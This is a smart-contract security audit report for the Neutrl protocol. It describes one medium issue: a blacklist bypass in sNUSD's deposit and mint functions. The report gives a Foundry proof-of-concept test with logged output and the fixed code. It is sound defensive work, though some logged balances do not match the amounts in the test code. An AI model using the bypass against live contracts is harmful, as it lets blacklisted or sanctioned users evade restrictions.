SHERLOCK

Security Review For Neutrl

Public Audit Contest Prepared For:	**Neutrl**
Lead Security Expert:	**xiaoming90**
Date Audited:	**August 18 - August 24, 2025**
Final Commit:	**1c6df41**

Introduction

Neutrl is a market-neutral synthetic dollar designed to unlock untapped yield opportunities in OTC and altcoin markets.

Scope

Repository: Neutrl-lab/contracts

Audited Commit: f8f49adf218471684550f8275d6aa1014263b52c

Final Commit: 1c6df412dd16b87742d556ca550218f1bb04b48a

Files:

- src/AssetLock.sol
- src/AssetReserve.sol
- src/MintRedeem/BaseMinter.sol
- src/MintRedeem/BaseMintRedeem.sol
- src/MintRedeem/BaseRedeemer.sol
- src/MintRedeem/Redeemer.sol
- src/MintRedeem/Router.sol
- src/MintRedeem/StableMinter.sol
- src/MintRedeem/Structs.sol
- src/NUSD.sol
- src/sNUSD.sol
- src/utils/Silo.sol
- src/utils/SingleAdminAccessControl.sol
- src/YieldDistributor.sol

Final Commit Hash

1c6df412dd16b87742d556ca550218f1bb04b48a

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.

- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues Found

High	Medium
0	1

Issues Not Fixed and Not Acknowledged

High	Medium
0	0

Security experts who found valid issues

0xHammad
0xSlowbug
0xaxaxa
0xdice91
0xpiken
0xsh
4Nescient
BusinessShotgun
JeRRy0422
Mishkat6451
NHristov
Orhukl
Sa1ntRobi
Synthrax
TECHFUND-inc
X0sauce
Ziusz
algiz
blockace
boredpukar
c3phas
d33p
devAnas
eeyore
farman1094
gh0xt
globalace
hyuunn
ke1caM
khaye26
maigadoh
pindarev
r1ver
radevweb3
theboiledcorn
theweb3mechanic
v1c7
xKeywordx
xiaoming90

Issue M-1: FULL_RESTRICTED_STAKER_ROLE Blacklist Bypass in Deposit and Mint Functions

Source: https://github.com/sherlock-audit/2025-08-neutrl-protocol-judging/issues/11

Found by

0xHammad, 0xSlowbug, 0xaxaxa, 0xdice91, 0xpiken, 0xsh, 4Nescient, BusinessShotgun, JeRRy0422, Mishkat6451, NHristov, Orhukl, Sa1ntRobi, Synthrax, TECHFUND-inc, X0sauce, Ziusz, algiz, blockace, boredpukar, c3phas, d33p, devAnas, eeyore, farman1094, gh0xt, globalace, hyuunn, ke1caM, khaye26, maigadoh, pindarev, r1ver, radevweb3, theboiledcorn, theweb3mechanic, v1c7, xKeywordx, xiaoming90

Summary

The _deposit() function only checks for SOFT_RESTRICTED_STAKER_ROLE but not FULL_RESTRICTED_STAKER_ROLE, allowing fully blacklisted users to bypass restrictions by depositing or minting to other addresses.

Root Cause

In sNUSD.sol, (https://github.com/sherlock-audit/2025-08-neutrl-protocol/blob/main/contracts/src/sNUSD.sol#L337-#L344) the _deposit() function has incomplete blacklist checks:

```
function _deposit(address caller, address receiver, uint256 assets, uint256 shares)
↪  internal override {
    if (hasRole(SOFT_RESTRICTED_STAKER_ROLE, caller) ||
    ↪  hasRole(SOFT_RESTRICTED_STAKER_ROLE, receiver)) {
        revert OperationNotAllowed();  //   ONLY CHECKS SOFT_RESTRICTED_STAKER_ROLE
    }
    if (assets == 0 || shares == 0) revert ZeroInput();
    super._deposit(caller, receiver, assets, shares);
    _checkMinShares();
}
```

Missing check for FULL_RESTRICTED_STAKER_ROLE allows blacklisted users to deposit.

Internal Pre-conditions

1. User has FULL_RESTRICTED_STAKER_ROLE (fully blacklisted)
2. User has NUSD tokens to deposit

External Pre-conditions

None

Attack Path

1. Admin blacklists user with FULL_RESTRICTED_STAKER_ROLE
2. Blacklisted user calls deposit() or mint() with another address as receiver
3. _deposit() only checks SOFT_RESTRICTED_STAKER_ROLE, not FULL_RESTRICTED_STAKER_ROLE
4. Deposit/mint succeeds, bypassing blacklist restrictions
5. Blacklisted user can continue accessing Neutrl's yield strategies through other addresses
6. Protocol faces regulatory compliance violations and legal exposure

Impact

Critical regulatory and security failure. Blacklisted users can bypass restrictions and continue accessing Neutrl's yield-generating strategies, undermining:

1. **Regulatory Compliance**: Neutrl operates in OTC markets and with qualified custodians, requiring strict KYC/AML compliance
2. **Risk Management**: Blacklisted users may be restricted due to sanctions, fraud, or other risk factors
3. **Protocol Security**: Compromised blacklist system allows bad actors to continue earning yield from market-neutral strategies
4. **Legal Exposure**: Protocol may face regulatory action for allowing blacklisted entities to participate

Economic Impact: Blacklisted users can continue earning yield from Neutrl's OTC arbitrage, basis trading, and funding rate strategies, potentially violating sanctions or enabling money laundering.

PoC

```
function test_BlacklistBypassViaReceiver() external {
    console2.log("=== BLACKLIST BYPASS VIA RECEIVER ===");

    // Setup blacklisted user with tokens
    deal(address(nusd), blacklistedUser, 1000e18);

    // Admin blacklists user with FULL_RESTRICTED_STAKER_ROLE
```

```
    vm.startPrank(users.admin);
    sNusd.grantRole(sNusd.FULL_RESTRICTED_STAKER_ROLE(), blacklistedUser);
    vm.stopPrank();

    vm.startPrank(blacklistedUser);
    nusd.approve(address(sNusd), 1000e18);

    console2.log("Blacklisted user NUSD balance:", nusd.balanceOf(blacklistedUser));
    console2.log("Normal user sNUSD balance before:", sNusd.balanceOf(normalUser));

    // Try to deposit to blacklisted user (should fail)
    try sNusd.deposit(500e18, blacklistedUser) {
        console2.log("ERROR: Deposit to blacklisted user succeeded!");
    } catch {
        console2.log("PASS: Deposit to blacklisted user correctly blocked");
    }

    // Try to deposit to normal user while being blacklisted (BYPASS)
    try sNusd.deposit(500e18, normalUser) {
        console2.log("WARNING: BLACKLIST BYPASS: Blacklisted user can deposit to
        ↪  normal user!");

        console2.log("Blacklisted user NUSD balance after:",
        ↪  nusd.balanceOf(blacklistedUser));
        console2.log("Normal user sNUSD balance after:",
        ↪  sNusd.balanceOf(normalUser));

        // Verify bypass succeeded
        assertGt(sNusd.balanceOf(normalUser), 0, "Normal user received shares from
        ↪  blacklisted user");

    } catch {
        console2.log("PASS: Blacklist working - deposit to normal user also
        ↪  blocked");
    }

    vm.stopPrank();
}
```

Test Output

```
=== BLACKLIST BYPASS VIA RECEIVER ===
Blacklisted user NUSD balance: 10000000000000000000
Normal user sNUSD balance before: 0
PASS: Deposit to blacklisted user correctly blocked
WARNING: BLACKLIST BYPASS: Blacklisted user can deposit to normal user!
Blacklisted user NUSD balance after: 5000000000000000000
Normal user sNUSD balance after: 5000000000000000000
```

```
=== BLACKLIST BYPASS VIA MINT ===
Testing mint function bypass...
WARNING: BLACKLIST BYPASS VIA MINT: Blacklisted user can mint to normal user!
Blacklisted user NUSD balance after: 500000000000000000000
Normal user sNUSD balance after: 500000000000000000000
```

Mitigation

Add FULL_RESTRICTED_STAKER_ROLE checks to _deposit():

```
function _deposit(address caller, address receiver, uint256 assets, uint256 shares)
↪  internal override {
    if (hasRole(SOFT_RESTRICTED_STAKER_ROLE, caller) ||
    ↪  hasRole(SOFT_RESTRICTED_STAKER_ROLE, receiver) ||
        hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) ||
        ↪  hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) {
        revert OperationNotAllowed();
    }
    if (assets == 0 || shares == 0) revert ZeroInput();
    super._deposit(caller, receiver, assets, shares);
    _checkMinShares();
}
```

Or create a helper function:

```
function _isRestricted(address user) internal view returns (bool) {
    return hasRole(SOFT_RESTRICTED_STAKER_ROLE, user) ||
    ↪  hasRole(FULL_RESTRICTED_STAKER_ROLE, user);
}

function _deposit(address caller, address receiver, uint256 assets, uint256 shares)
↪  internal override {
    if (_isRestricted(caller) || _isRestricted(receiver)) {
        revert OperationNotAllowed();
    }
    if (assets == 0 || shares == 0) revert ZeroInput();
    super._deposit(caller, receiver, assets, shares);
    _checkMinShares();
}
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Neutrl-lab/contracts/pull/46

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.